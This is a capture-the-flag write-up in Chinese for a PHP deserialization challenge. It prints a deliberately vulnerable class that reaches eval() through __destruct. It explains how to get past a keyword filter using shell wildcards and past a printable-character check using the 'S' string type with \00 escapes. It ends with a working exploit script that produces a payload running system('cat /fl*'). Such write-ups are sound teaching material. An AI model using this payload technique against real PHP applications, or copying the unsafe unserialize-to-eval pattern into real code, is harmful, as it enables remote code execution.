Ezphp

考点:

  • 代码审计
  • PHP反序列化

题目源码:

<?php

function check($payload)
{
    //You bypass this last time. What about this time?
    for ($i = 0; $i < strlen($payload); $i++)
        if (!(ord($payload[$i]) >= 32 && ord($payload[$i]) <= 125))
            return false;
    return true;
}

function filter($str)
{
    if (preg_match("/flag|base64/i", $str)) {
        return false;
    } else {
        return true;
    }
}

class Note
{
    protected $option;
    protected $name;
    protected $note;

    function __construct()
    {
        $option = "no flag";
        $name = "guest";
        $note = "flag{fake_flag}";
        $this->load();
    }

    public function load()
    {
        if ($this->option === "no flag") {
            die("flag here ! :)");
        } else if ($this->option === "getFlag") {
            $this->loadFlag();
        } else {
            die("You don't need flag ?");
        }
    }
    private function loadFlag()
    {
        if (isset($this->note) && isset($this->name)) {
            if ($this->name === "admin") {
                if (filter($this->note)) {
                    eval($this->note);
                } else {
                    die("You failed !! :< ");
                }
            }
        }
    }

    function __destruct()
    {
        $this->load();
    }
}

if (isset($_GET['data'])) {
    $data = (string)$_GET['data'];
    if (check($data)) {
        unserialize($data);
    }
} else {
    highlight_file(__FILE__);
}

一个裸的反序列化,利用链很短:

__destruct -> load -> loadFlag -> eval

审计代码,代码中对反序列化串进行了checkfilter
filter检查payload中是否存在flagbase64字段,可以使用其他编码(如hex等)绕过,或者命令执行时使用通配符(cat /fl*)进行绕过。
check检查payload是否在可见字符范围之内,注意到Note类的属性均为protected类型,反序列化产生的payload为%00*%00属性名,会被check检测,需要绕过。

绕过思路:

  1. php7.1+反序列化类型不敏感(PHP文档对此没有说明,详细参照 PHP Unserialize Feature on PHP7)
  2. S类型绕过(参考 Detailed explanation of PHP serialize format

注意到题目的php版本是7.0,此处只能使用S类型进行绕过,使用\00替换%00即可绕过check

EXP:

<?php

class Note
{
    protected $option;
    protected $name;
    protected $note;

    function __construct()
    {
        $this->option = "getFlag";
        $this->name = "admin";
        $this->note = "system('cat /fl*');";
    }
}

$obj = new Note();
$payload = serialize($obj);

$payload = str_replace("s:","S:",$payload);
$payload = str_replace(urldecode("%00"),"\\00",$payload);
$payload = str_replace(" ","\\20",$payload);
echo $payload;
echo "\n";
echo urlencode($payload);